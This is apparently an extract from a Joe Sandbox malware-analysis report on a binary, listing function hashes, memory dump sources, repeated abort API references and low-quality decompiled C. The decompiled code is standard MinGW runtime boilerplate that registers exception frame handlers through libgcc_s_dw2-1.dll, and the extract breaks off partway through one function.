Opcode ID: 2a23a00f49373f7e846d86b833a2587a478e604cb3f8514fbb7c7bb00436a7dc
Instruction ID: 17c0f886532062468b13cf60198922be2443f91d9e433fe57f8f7756687e8aaa
Opcode Fuzzy Hash: 2a23a00f49373f7e846d86b833a2587a478e604cb3f8514fbb7c7bb00436a7dc
Instruction Fuzzy Hash: 7A5149A810C3C4CAF712CB28E89C7957FD65779308F04859DC7844B2AAD7BA960CD76B

Uniqueness

Uniqueness Score: -1.00%

Function 003F8520 Relevance: 28.6, APIs: 19, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: a266dd559897f148d29f269c52a111c169cc6bd71e37b84f692413e9d101ffe9
Instruction ID: 2015d88bba95e6738eb12b402a434a7c100257452b7a154c7382093b29bfd2c4
Opcode Fuzzy Hash: a266dd559897f148d29f269c52a111c169cc6bd71e37b84f692413e9d101ffe9
Instruction Fuzzy Hash: 0131E1706083099FD725DF1AD884B7AB7E4AFC5354F54493EE64897341D738D848CB86

Uniqueness

Uniqueness Score: -1.00%

Function 003F862C Relevance: 28.5, APIs: 19, Instructions: 28COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA19
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA1E
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA23
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA28
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA2D
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA32
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA37
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA3C
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA44
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA49
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA4E
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA53
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA58
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA5D
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA62
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA67
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA6C
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA71
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA76

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 195ada3be1e78467085aad290acad52cf563cc7d1467f6b2c1806d33a27b537e
Instruction ID: 03533f67fcda45be44d71bb8f246e0f059e151b770b04c63d1c847db57dc0f81
Opcode Fuzzy Hash: 195ada3be1e78467085aad290acad52cf563cc7d1467f6b2c1806d33a27b537e
Instruction Fuzzy Hash: 1BB09260D490148298013E67008503AE2785A433C8B923A7EF22A334C24638E401A46F

Uniqueness

Uniqueness Score: -1.00%

Function 003F8A40 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 132
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E003F8A40(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi, void* _a4) {
				intOrPtr _v0;
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				signed int _v40;
				intOrPtr* _v52;
				char _v220;
				signed char _v249;
				unsigned int _v252;
				intOrPtr* _v272;
				intOrPtr _v276;
				char _v348;
				void _v476;
				void* _v488;
				intOrPtr* _v492;
				intOrPtr _v496;
				intOrPtr _v500;
				intOrPtr _v504;
				char* _v548;
				void* _t69;
				intOrPtr* _t73;
				struct HINSTANCE__* _t74;
				_Unknown_base(*)()* _t75;
				struct HINSTANCE__* _t78;
				intOrPtr* _t79;
				intOrPtr* _t80;
				void* _t82;
				void* _t87;
				void* _t89;
				void* _t94;
				intOrPtr _t97;
				intOrPtr _t99;
				intOrPtr* _t104;
				signed int _t105;
				signed int _t115;
				void* _t126;
				void* _t136;
				intOrPtr* _t139;
				void* _t145;
				void* _t151;
				intOrPtr* _t153;
				char** _t156;
				char** _t157;
				intOrPtr* _t159;
				intOrPtr* _t160;
				intOrPtr* _t161;

				_t145 = _t151;
				_t136 =  &_v476;
				_t94 =  &_v348;
				_push(__edx);
				_push(__eax);
				E003F8320( &_v476, _v0,  &_a4);
				memcpy(_t94, _t136, 0x20 << 2);
				_t153 = _t151 - 0x1e4 + 0xc;
				_t126 = _t136 + 0x40;
				while(1) {
					_t69 = L003F7CB0(_t94,  &_v220);
					if(_t69 == 5) {
						break;
					}
					if(_t69 != 0) {
						L20:
						return 3;
					} else {
						_t104 = _v52;
						if(_t104 == 0) {
							L11:
							E003F7100(_t94,  &_v220);
							_t115 = _v40;
							_t73 = 0;
							if( *((intOrPtr*)(_t145 + _t115 * 8 - 0xd4)) == 6) {
								L17:
								_v272 = _t73;
								continue;
							} else {
								if(_t115 > 0x11) {
									L23:
									abort();
									abort();
									abort();
									abort();
									abort();
									L004042F8();
									L004042F8();
									L004042F8();
									L004042F8();
									L004042F8();
									L004042F8();
									abort();
									abort();
									abort();
									abort();
									_push(_t145);
									_push(_t126);
									_push(_t136);
									_t156 = _t153 - 0x1c;
									 *_t156 = "libgcc_s_dw2-1.dll";
									_t74 = GetModuleHandleA(_t94);
									_t157 = _t156 - 4;
									if(_t74 == 0) {
										_t75 = 0x3fae40;
										_t139 = E003FA660;
									} else {
										_t97 = _t74;
										 *_t157 = "libgcc_s_dw2-1.dll";
										_t78 = LoadLibraryA(??);
										_t159 = _t157 - 4;
										 *0x513020 = _t78;
										_v548 = "__register_frame_info";
										 *_t159 = _t97;
										_t79 = GetProcAddress(??, ??);
										_t160 = _t159 - 8;
										_t139 = _t79;
										_v548 = "__deregister_frame_info";
										 *_t160 = _t97;
										_t75 = GetProcAddress(??, ??);
										_t157 = _t160 - 8;
									}
									 *0x4a1004 = _t75;
									if(_t139 != 0) {
										_v548 = 0x513024;
										 *_t157 = 0x4d4104;
										 *_t139();
									}
									 *_t157 = 0x3e1560;
									return L003E14A0();
								} else {
									_t105 =  *(_t115 + 0x5130b0) & 0x000000ff;
									_t73 =  *((intOrPtr*)(_t145 + _t115 * 4 - 0x158));
									if((_v249 & 0x00000040) == 0 ||  *((char*)(_t145 + _t115 - 0xec)) == 0) {
										if(_t105 != 4) {
											goto L23;
										} else {
											_t73 =  *_t73;
											goto L17;
										}
									} else {
										goto L17;
									}
								}
							}
						} else {
							_v488 = _t94;
							_t80 = _a4;
							_v492 = _t80;
							_v504 = 1;
							_v496 =  *((intOrPtr*)(_t80 + 4));
							_v500 =  *_t80;
							 *_t153 = 1;
							_t82 =  *_t104();
							if(_t82 == 6) {
								 *((intOrPtr*)(_a4 + 0xc)) = 0;
								 *((intOrPtr*)(_a4 + 0x10)) = _v276 - (_v252 >> 0x1f);
								_t87 = memcpy(_t94,  &_v476, 0x20 << 2);
								_t161 = _t153 + 0xc;
								_t69 = E003F8520(_t87,  &_v220, _t94);
								if(_t69 != 7) {
									break;
								} else {
									_t89 = E003F6750( &_v476, _t94);
									_t99 = _v272;
									_v504 = _t99;
									 *_t161 = _v276;
									E003F8A30(_v276);
									 *((intOrPtr*)(_t145 + _t89 + 4)) = _t99;
									return _v24;
								}
							} else {
								if(_t82 != 8) {
									goto L20;
								} else {
									goto L11;
								}
							}
						}
					}
					L36:
				}
				return _t69;
				goto L36;
			}

0x003f8a41
0x003f8a45
0x003f8a4c
0x003f8a52
0x003f8a58
0x003f8a68
0x003f8a72
0x003f8a72
0x003f8a72
0x003f8b1d
0x003f8b25
0x003f8b2d
0x00000000
0x00000000
0x003f8a82
0x003f8b40
0x003f8b4f
0x003f8a88
0x003f8a88
0x003f8a8d
0x003f8ac6
0x003f8ace
0x003f8ad3
0x003f8ad6
0x003f8ae0
0x003f8b17
0x003f8b17
0x00000000
0x003f8ae2
0x003f8ae5
0x0049aa2d
0x0049aa2d
0x0049aa32
0x0049aa37
0x0049aa3c
0x0049aa44
0x0049aa49
0x0049aa4e
0x0049aa53
0x0049aa58
0x0049aa5d
0x0049aa62
0x0049aa67
0x0049aa6c
0x0049aa71
0x0049aa76
0x003e14c0
0x003e14c3
0x003e14c4
0x003e14c6
0x003e14c9
0x003e14d0
0x003e14d6
0x003e14db
0x003e1550
0x003e1555
0x003e14dd
0x003e14dd
0x003e14df
0x003e14e6
0x003e14f2
0x003e14f5
0x003e14fa
0x003e1502
0x003e1505
0x003e1507
0x003e150a
0x003e150c
0x003e1514
0x003e1517
0x003e1519
0x003e1519
0x003e151c
0x003e1523
0x003e1525
0x003e152d
0x003e1534
0x003e1534
0x003e1536
0x003e1549
0x003f8aeb
0x003f8aeb
0x003f8af2
0x003f8b00
0x003f8b0f
0x00000000
0x003f8b15
0x003f8b15
0x00000000
0x003f8b15
0x00000000
0x00000000
0x00000000
0x003f8b00
0x003f8ae5
0x003f8a8f
0x003f8a8f
0x003f8a93
0x003f8a96
0x003f8a9f
0x003f8aa7
0x003f8aab
0x003f8aaf
0x003f8ab6
0x003f8abb
0x003f8b63
0x003f8b77
0x003f8b83
0x003f8b83
0x003f8b8b
0x003f8b93
0x00000000
0x003f8b95
0x003f8b9d
0x003f8ba2
0x003f8baa
0x003f8bba
0x003f8bbd
0x003f8bc2
0x003f8bda
0x003f8bda
0x003f8ac1
0x003f8ac4
0x00000000
0x00000000
0x00000000
0x00000000
0x003f8ac4
0x003f8abb
0x003f8a8d
0x00000000
0x003f8a82
0x003f8b3d
0x00000000

Strings

@, xrefs: 003F8AF9

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: strlen
String ID: @
API String ID: 39653677-2766056989
Opcode ID: 56625c5b37727561c0631fcf62de78e8c567582940c56cb8f39420804a69c8f4
Instruction ID: dd122862523296b97fc7404af2ca8d349a7060d556091c32e39c9ab19ecbce2b
Opcode Fuzzy Hash: 56625c5b37727561c0631fcf62de78e8c567582940c56cb8f39420804a69c8f4
Instruction Fuzzy Hash: 6B414F74A0021C9BCF15DF54C8806EEB7B1AF89314F1585AAEA09BB341DB34AE848F91

Uniqueness

Uniqueness Score: -1.00%

Function 003F8670 Relevance: 27.1, APIs: 18, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 88781ffd88f8df080749b2b767ce84dab66a5a25bad808767c1ae82ad76c423c
Instruction ID: 0681f0c9a65ec8490bd4e90b40094206215ba1d904e225507b712ceea602e9b7
Opcode Fuzzy Hash: 88781ffd88f8df080749b2b767ce84dab66a5a25bad808767c1ae82ad76c423c
Instruction Fuzzy Hash: BC4149B46083458FD729EF19C58072AFBE0EBC9704F258D2EE688C7351D775D8488B96

Uniqueness

Uniqueness Score: -1.00%

Function 003F8805 Relevance: 25.5, APIs: 17, Instructions: 41COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA23
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA28
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA2D
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA32
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA37
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA3C
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA44
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA49
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA4E
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA53
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA58
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA5D
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA62
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA67
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA6C
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA71
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA76

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 0631e5317624597c74418786e6b18df9ee37d0903db7f34eee96ffe15f00b452
Instruction ID: 781843b67efe50525744387e736f0e38a9cdf8c6c4fe5a079a641f832078cf39
Opcode Fuzzy Hash: 0631e5317624597c74418786e6b18df9ee37d0903db7f34eee96ffe15f00b452
Instruction Fuzzy Hash: 47E0E570A081464BD715EF18C084336BBB17F8334CF8515ACD5542B1C2C378A81ACBCA

Uniqueness

Uniqueness Score: -1.00%

Function 003F8859 Relevance: 24.0, APIs: 16, Instructions: 47COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA28
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA2D
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA32
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA37
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA3C
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA44
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA49
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA4E
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA53
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA58
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA5D
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA62
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA67
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA6C
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA71
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA76

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 598dff689ee68a8f77540a4cfc9f6c41d6915e8ac3358cd349787bdcfa62a880
Instruction ID: 01847dc817d8248f2eefd4f177c161fd5bca087f031b58d711dadcde361a360d
Opcode Fuzzy Hash: 598dff689ee68a8f77540a4cfc9f6c41d6915e8ac3358cd349787bdcfa62a880
Instruction Fuzzy Hash: 70F0E9B09542454BD715DF18948533ABBA07B83355FCC1899E9442B2C2C3399898DB96

Uniqueness

Uniqueness Score: -1.00%

Function 003F8E00 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

@, xrefs: 003F8E68

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: strlen
String ID: @
API String ID: 39653677-2766056989
Opcode ID: 73527105c4795ed1018ffeba66add9d428a721521e21f583b05b72ecd4e83243
Instruction ID: b7a3f5eb52edc2bf46d977c5d34889cfe53f376069d0b5a33cacee91494a5a8f
Opcode Fuzzy Hash: 73527105c4795ed1018ffeba66add9d428a721521e21f583b05b72ecd4e83243
Instruction Fuzzy Hash: F4210531A0021D8BCF25DF54CC84BFDB7B8AB86300F0545B6DA086B350DB349E888F84

Uniqueness

Uniqueness Score: -1.00%

Function 003F8C90 Relevance: 21.1, APIs: 14, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E003F8C90(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi, void* _a4) {
				intOrPtr _v0;
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				intOrPtr _v80;
				intOrPtr _v84;
				char _v156;
				char _v284;
				char _v288;
				intOrPtr _v312;
				char* _v356;
				void* _t32;
				void* _t34;
				struct HINSTANCE__* _t35;
				_Unknown_base(*)()* _t36;
				struct HINSTANCE__* _t39;
				intOrPtr* _t40;
				void* _t42;
				CHAR* _t46;
				intOrPtr _t48;
				CHAR* _t59;
				intOrPtr _t61;
				void* _t66;
				void* _t71;
				intOrPtr _t72;
				intOrPtr* _t73;
				void* _t77;
				void* _t81;
				intOrPtr* _t83;
				char** _t84;
				char** _t85;
				intOrPtr* _t87;
				intOrPtr* _t88;

				_t77 = _t81;
				_t71 =  &_v284;
				_t46 =  &_v156;
				_push(__edx);
				_push(__eax);
				E003F8320( &_v284, _v0,  &_a4);
				_t59 = _t46;
				_t32 = memcpy(_t46, _t71, 0x20 << 2);
				_t83 = _t81 - 0x124 + 0xc;
				_t66 = _t71 + 0x40;
				_t9 = _t32 + 0xc; // 0x4d26f801
				_t72 =  *_t9;
				if(_t72 != 0) {
					_t34 = E003F8670(_a4,  &_v288, _t59);
				} else {
					__eax = E003F8520(__eax, __ecx, __edx);
				}
				if(_t34 != 7) {
					abort();
					abort();
					abort();
					abort();
					L004042F8();
					L004042F8();
					L004042F8();
					L004042F8();
					L004042F8();
					L004042F8();
					abort();
					abort();
					abort();
					abort();
					_push(_t77);
					_push(_t66);
					_push(_t72);
					_t84 = _t83 - 0x1c;
					 *_t84 = "libgcc_s_dw2-1.dll";
					_t35 = GetModuleHandleA(_t46);
					_t85 = _t84 - 4;
					if(_t35 == 0) {
						_t36 = 0x3fae40;
						_t73 = E003FA660;
					} else {
						_t48 = _t35;
						 *_t85 = "libgcc_s_dw2-1.dll";
						_t39 = LoadLibraryA(??);
						_t87 = _t85 - 4;
						 *0x513020 = _t39;
						_v356 = "__register_frame_info";
						 *_t87 = _t48;
						_t40 = GetProcAddress(??, ??);
						_t88 = _t87 - 8;
						_t73 = _t40;
						_v356 = "__deregister_frame_info";
						 *_t88 = _t48;
						_t36 = GetProcAddress(??, ??);
						_t85 = _t88 - 8;
					}
					 *0x4a1004 = _t36;
					if(_t73 != 0) {
						_v356 = 0x513024;
						 *_t85 = 0x4d4104;
						 *_t73();
					}
					 *_t85 = 0x3e1560;
					return L003E14A0();
				} else {
					_t42 = E003F6750( &_v284, _t46);
					_t61 = _v80;
					_v312 = _t61;
					 *_t83 = _v84;
					 *((intOrPtr*)(_t77 + E003F8A30(_t42) + 4)) = _t61;
					return _v24;
				}
			}

0x003f8c91
0x003f8c95
0x003f8c9c
0x003f8ca2
0x003f8ca8
0x003f8cb8
0x003f8cc5
0x003f8cc7
0x003f8cc7
0x003f8cc7
0x003f8ccf
0x003f8ccf
0x003f8cd4
0x003f8d25
0x003f8cd6
0x003f8cd6
0x003f8cd6
0x003f8cde
0x0049aa32
0x0049aa37
0x0049aa3c
0x0049aa44
0x0049aa49
0x0049aa4e
0x0049aa53
0x0049aa58
0x0049aa5d
0x0049aa62
0x0049aa67
0x0049aa6c
0x0049aa71
0x0049aa76
0x003e14c0
0x003e14c3
0x003e14c4
0x003e14c6
0x003e14c9
0x003e14d0
0x003e14d6
0x003e14db
0x003e1550
0x003e1555
0x003e14dd
0x003e14dd
0x003e14df
0x003e14e6
0x003e14f2
0x003e14f5
0x003e14fa
0x003e1502
0x003e1505
0x003e1507
0x003e150a
0x003e150c
0x003e1514
0x003e1517
0x003e1519
0x003e1519
0x003e151c
0x003e1523
0x003e1525
0x003e152d
0x003e1534
0x003e1534
0x003e1536
0x003e1549
0x003f8ce4
0x003f8cec
0x003f8cf1
0x003f8cf4
0x003f8cfb
0x003f8d09
0x003f8d21
0x003f8d21

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d7a9361a978207effb0f80c28f5860b63604c79c14d407ddcc1f72fc1c6f8be
Instruction ID: bf3ac2ca7a8dda0cdfab807d614397950b4c21c8a000bb572e126dddd8741478
Opcode Fuzzy Hash: 4d7a9361a978207effb0f80c28f5860b63604c79c14d407ddcc1f72fc1c6f8be
Instruction Fuzzy Hash: 31115E7590011C9BCF19EF94C8819EEF7B5AF85340F1181AAEE096B341DF30AE459AA5

Uniqueness

Uniqueness Score: -1.00%

Function 003F8D30 Relevance: 19.6, APIs: 13, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E003F8D30(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi, CHAR* _a4) {
				intOrPtr _v0;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v20;
				intOrPtr _v24;
				intOrPtr _v80;
				intOrPtr _v84;
				void _v156;
				char _v284;
				char _v288;
				intOrPtr _v312;
				char* _v356;
				void* _t37;
				struct HINSTANCE__* _t39;
				_Unknown_base(*)()* _t40;
				struct HINSTANCE__* _t43;
				intOrPtr* _t44;
				void* _t46;
				CHAR* _t51;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr* _t75;
				void* _t79;
				void* _t83;
				intOrPtr* _t84;
				char** _t85;
				char** _t86;
				intOrPtr* _t88;
				intOrPtr* _t89;

				_t74 = __esi;
				_t68 = __edi;
				_t79 = _t83;
